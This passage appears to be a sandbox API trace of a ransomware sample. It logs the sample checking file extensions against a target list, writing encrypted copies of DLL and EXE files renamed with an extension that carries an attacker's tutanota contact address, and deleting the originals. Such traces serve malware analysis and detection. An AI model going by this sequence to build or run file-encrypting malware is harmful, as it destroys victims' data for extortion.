	[0057.025] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afc7c | out: lpNewFilePointer=0x0) returned 1
	[0057.025] WriteFile (in: hFile=0x1c0, lpBuffer=0x3fb3008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb3008*, lpNumberOfBytesWritten=0x35afc88*=0x40000, lpOverlapped=0x0) returned 1
	[0057.027] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x35afc7c | out: lpNewFilePointer=0x0) returned 1
	[0057.027] WriteFile (in: hFile=0x1c0, lpBuffer=0x3fb3008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb3008*, lpNumberOfBytesWritten=0x35afc88*=0x40000, lpOverlapped=0x0) returned 1
	[0057.029] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x35afc7c | out: lpNewFilePointer=0x0) returned 1
	[0057.029] WriteFile (in: hFile=0x1c0, lpBuffer=0x3fb3008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb3008*, lpNumberOfBytesWritten=0x35afc88*=0x40000, lpOverlapped=0x0) returned 1
	[0057.030] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3fb3008 | out: hHeap=0x4f0000) returned 1
	[0057.030] CloseHandle (hObject=0x1c0) returned 1
	[0057.420] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0057.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0057.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0057.421] lstrlenW (lpString=".doc") returned 4
	[0057.421] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0057.421] lstrlenW (lpString=".docx") returned 5
	[0057.421] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0057.421] lstrlenW (lpString=".pdf") returned 4
	[0057.421] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0057.421] lstrlenW (lpString=".xls") returned 4
	[0057.421] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0057.421] lstrlenW (lpString=".xlsx") returned 5
	[0057.421] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0057.421] lstrlenW (lpString=".ppt") returned 4
	[0057.421] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0057.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0057.421] lstrlenW (lpString=".zip") returned 4
	[0057.422] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0057.422] lstrlenW (lpString=".rar") returned 4
	[0057.422] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0057.422] lstrlenW (lpString=".bz2") returned 4
	[0057.422] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0057.422] lstrlenW (lpString=".7z") returned 3
	[0057.422] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0057.422] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0057.422] lstrlenW (lpString=".dbf") returned 4
	[0057.422] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0057.422] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0057.422] lstrlenW (lpString=".1cd") returned 4
	[0057.422] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0057.422] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0057.422] lstrlenW (lpString=".jpg") returned 4
	[0057.422] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0057.422] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0057.422] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0057.422] lstrlenW (lpString=".doc") returned 4
	[0057.422] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0057.422] lstrlenW (lpString=".docx") returned 5
	[0057.422] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0057.422] lstrlenW (lpString=".pdf") returned 4
	[0057.422] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0057.422] lstrlenW (lpString=".xls") returned 4
	[0057.422] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0057.422] lstrlenW (lpString=".xlsx") returned 5
	[0057.422] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0057.422] lstrlenW (lpString=".ppt") returned 4
	[0057.423] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0057.423] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0057.423] lstrlenW (lpString=".zip") returned 4
	[0057.423] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0057.423] lstrlenW (lpString=".rar") returned 4
	[0057.423] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0057.423] lstrlenW (lpString=".bz2") returned 4
	[0057.423] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0057.423] lstrlenW (lpString=".7z") returned 3
	[0057.423] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0057.423] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0057.423] lstrlenW (lpString=".dbf") returned 4
	[0057.423] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0057.423] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0057.423] lstrlenW (lpString=".1cd") returned 4
	[0057.423] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0057.423] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0057.423] lstrlenW (lpString=".jpg") returned 4
	[0057.423] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0057.423] lstrcmpiW (lpString1=".sys", lpString2=".Acuf2") returned 1
	[0057.423] lstrlenW (lpString="pagefile.sys") returned 12
	[0057.423] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0057.423] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0057.423] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0057.424] lstrlenW (lpString=".doc") returned 4
	[0057.424] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1
	[0057.424] lstrlenW (lpString=".docx") returned 5
	[0057.424] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1
	[0057.424] lstrlenW (lpString=".pdf") returned 4
	[0057.424] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1
	[0057.424] lstrlenW (lpString=".xls") returned 4
	[0057.424] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1
	[0057.424] lstrlenW (lpString=".xlsx") returned 5
	[0057.424] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1
	[0057.424] lstrlenW (lpString=".ppt") returned 4
	[0057.424] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1
	[0057.424] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0057.424] lstrlenW (lpString=".zip") returned 4
	[0057.424] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1
	[0057.424] lstrlenW (lpString=".rar") returned 4
	[0057.424] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1
	[0057.424] lstrlenW (lpString=".bz2") returned 4
	[0057.424] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1
	[0057.424] lstrlenW (lpString=".7z") returned 3
	[0057.424] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1
	[0057.424] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0057.424] lstrlenW (lpString=".dbf") returned 4
	[0057.424] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1
	[0057.424] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0057.424] lstrlenW (lpString=".1cd") returned 4
	[0057.424] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1
	[0057.424] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0057.424] lstrlenW (lpString=".jpg") returned 4
	[0057.424] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1
	[0057.425] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0057.425] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0057.425] lstrlenW (lpString=".doc") returned 4
	[0057.425] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1
	[0057.425] lstrlenW (lpString=".docx") returned 5
	[0057.425] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1
	[0057.425] lstrlenW (lpString=".pdf") returned 4
	[0057.425] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1
	[0057.425] lstrlenW (lpString=".xls") returned 4
	[0057.425] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1
	[0057.425] lstrlenW (lpString=".xlsx") returned 5
	[0057.425] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1
	[0057.425] lstrlenW (lpString=".ppt") returned 4
	[0057.425] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1
	[0057.425] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0057.425] lstrlenW (lpString=".zip") returned 4
	[0057.425] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1
	[0057.425] lstrlenW (lpString=".rar") returned 4
	[0057.425] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1
	[0057.425] lstrlenW (lpString=".bz2") returned 4
	[0057.425] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1
	[0057.425] lstrlenW (lpString=".7z") returned 3
	[0057.425] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1
	[0057.425] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0057.425] lstrlenW (lpString=".dbf") returned 4
	[0057.425] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1
	[0057.425] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0057.425] lstrlenW (lpString=".1cd") returned 4
	[0057.425] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1
	[0057.426] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0057.426] lstrlenW (lpString=".jpg") returned 4
	[0057.426] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1
	[0057.426] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0057.426] lstrlenW (lpString="MSADDNDR.DLL") returned 12
	[0057.426] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0057.704] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=99136) returned 1
	[0057.704] CloseHandle (hObject=0x184) returned 1
	[0057.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 0x20
	[0057.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0057.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0057.704] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0057.704] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0057.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0057.705] GetLastError () returned 0x0
	[0057.705] ReadFile (in: hFile=0x184, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x35afed4*=0x18340, lpOverlapped=0x0) returned 1
	[0057.708] WriteFile (in: hFile=0x1f8, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x18350, lpNumberOfBytesWritten=0x35afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x35afc9c*=0x18350, lpOverlapped=0x0) returned 1
	[0057.711] ReadFile (in: hFile=0x184, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x35afed4*=0x0, lpOverlapped=0x0) returned 1
	[0057.711] WriteFile (in: hFile=0x1f8, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x35afc9c*=0xec, lpOverlapped=0x0) returned 1
	[0057.711] SetEndOfFile (hFile=0x1f8) returned 1
	[0057.711] CloseHandle (hObject=0x1f8) returned 1
	[0057.712] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0057.712] SetEndOfFile (hFile=0x184) returned 1
	[0057.713] CloseHandle (hObject=0x184) returned 1
	[0057.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0057.713] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 1
	[0057.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51
	[0057.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51
	[0057.714] lstrlenW (lpString=".doc") returned 4
	[0057.714] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0057.714] lstrlenW (lpString=".docx") returned 5
	[0057.714] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1
	[0057.714] lstrlenW (lpString=".pdf") returned 4
	[0057.714] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0057.714] lstrlenW (lpString=".xls") returned 4
	[0057.714] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0057.714] lstrlenW (lpString=".xlsx") returned 5
	[0057.714] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1
	[0057.714] lstrlenW (lpString=".ppt") returned 4
	[0057.714] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0057.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51
	[0057.714] lstrlenW (lpString=".zip") returned 4
	[0057.714] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0057.714] lstrlenW (lpString=".rar") returned 4
	[0057.714] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0057.714] lstrlenW (lpString=".bz2") returned 4
	[0057.714] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0057.714] lstrlenW (lpString=".7z") returned 3
	[0057.714] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0057.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51
	[0057.714] lstrlenW (lpString=".dbf") returned 4
	[0057.714] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0057.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51
	[0057.714] lstrlenW (lpString=".1cd") returned 4
	[0057.714] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0057.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51
	[0057.715] lstrlenW (lpString=".jpg") returned 4
	[0057.715] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0057.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51
	[0057.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51
	[0057.715] lstrlenW (lpString=".doc") returned 4
	[0057.715] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0057.715] lstrlenW (lpString=".docx") returned 5
	[0057.715] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1
	[0057.715] lstrlenW (lpString=".pdf") returned 4
	[0057.715] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0057.715] lstrlenW (lpString=".xls") returned 4
	[0057.715] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0057.715] lstrlenW (lpString=".xlsx") returned 5
	[0057.715] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1
	[0057.715] lstrlenW (lpString=".ppt") returned 4
	[0057.715] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0057.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51
	[0057.715] lstrlenW (lpString=".zip") returned 4
	[0057.715] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0057.715] lstrlenW (lpString=".rar") returned 4
	[0057.715] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0057.715] lstrlenW (lpString=".bz2") returned 4
	[0057.715] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0057.715] lstrlenW (lpString=".7z") returned 3
	[0057.715] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0057.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51
	[0057.715] lstrlenW (lpString=".dbf") returned 4
	[0057.715] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0057.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51
	[0057.716] lstrlenW (lpString=".1cd") returned 4
	[0057.716] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0057.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51
	[0057.716] lstrlenW (lpString=".jpg") returned 4
	[0057.716] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0057.716] lstrcmpiW (lpString1=".EXE", lpString2=".Acuf2") returned 1
	[0057.716] lstrlenW (lpString="DW20.EXE") returned 8
	[0057.716] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180
	[0058.649] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=994184) returned 1
	[0058.653] CloseHandle (hObject=0x180) returned 1
	[0058.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 0x20
	[0058.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0058.684] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180
	[0058.692] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0058.700] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0058.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0058.721] GetLastError () returned 0x0
	[0058.726] ReadFile (in: hFile=0x180, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x35afed4*=0xf2b88, lpOverlapped=0x0) returned 1
	[0058.806] WriteFile (in: hFile=0x208, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xf2b90, lpNumberOfBytesWritten=0x35afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x35afc9c*=0xf2b90, lpOverlapped=0x0) returned 1
	[0059.293] ReadFile (in: hFile=0x180, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x35afed4*=0x0, lpOverlapped=0x0) returned 1
	[0059.293] WriteFile (in: hFile=0x208, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x35afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x35afc9c*=0xe4, lpOverlapped=0x0) returned 1
	[0059.294] SetEndOfFile (hFile=0x208) returned 1
	[0059.863] CloseHandle (hObject=0x208) returned 1
	[0059.903] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.903] SetEndOfFile (hFile=0x180) returned 1
	[0059.911] CloseHandle (hObject=0x180) returned 1
	[0059.911] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0059.911] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 1
	[0059.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58
	[0059.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58
	[0059.912] lstrlenW (lpString=".doc") returned 4
	[0059.912] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0059.912] lstrlenW (lpString=".docx") returned 5
	[0059.912] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1
	[0059.912] lstrlenW (lpString=".pdf") returned 4
	[0059.912] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0059.912] lstrlenW (lpString=".xls") returned 4
	[0059.912] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0059.912] lstrlenW (lpString=".xlsx") returned 5
	[0059.912] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1
	[0059.912] lstrlenW (lpString=".ppt") returned 4
	[0059.912] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0059.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58
	[0059.912] lstrlenW (lpString=".zip") returned 4
	[0059.912] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0059.912] lstrlenW (lpString=".rar") returned 4
	[0059.912] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0059.912] lstrlenW (lpString=".bz2") returned 4
	[0059.912] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0059.912] lstrlenW (lpString=".7z") returned 3
	[0059.912] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0059.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58
	[0059.912] lstrlenW (lpString=".dbf") returned 4
	[0059.912] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0059.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58
	[0059.912] lstrlenW (lpString=".1cd") returned 4
	[0059.912] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0059.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58
	[0059.912] lstrlenW (lpString=".jpg") returned 4
	[0059.912] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0059.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58
	[0059.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58
	[0059.913] lstrlenW (lpString=".doc") returned 4
	[0059.913] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0059.913] lstrlenW (lpString=".docx") returned 5
	[0059.913] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1
	[0059.913] lstrlenW (lpString=".pdf") returned 4
	[0059.913] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0059.913] lstrlenW (lpString=".xls") returned 4
	[0059.913] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0059.913] lstrlenW (lpString=".xlsx") returned 5
	[0059.913] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1
	[0059.913] lstrlenW (lpString=".ppt") returned 4
	[0059.913] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0059.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58
	[0059.913] lstrlenW (lpString=".zip") returned 4
	[0059.913] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0059.913] lstrlenW (lpString=".rar") returned 4
	[0059.913] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0059.913] lstrlenW (lpString=".bz2") returned 4
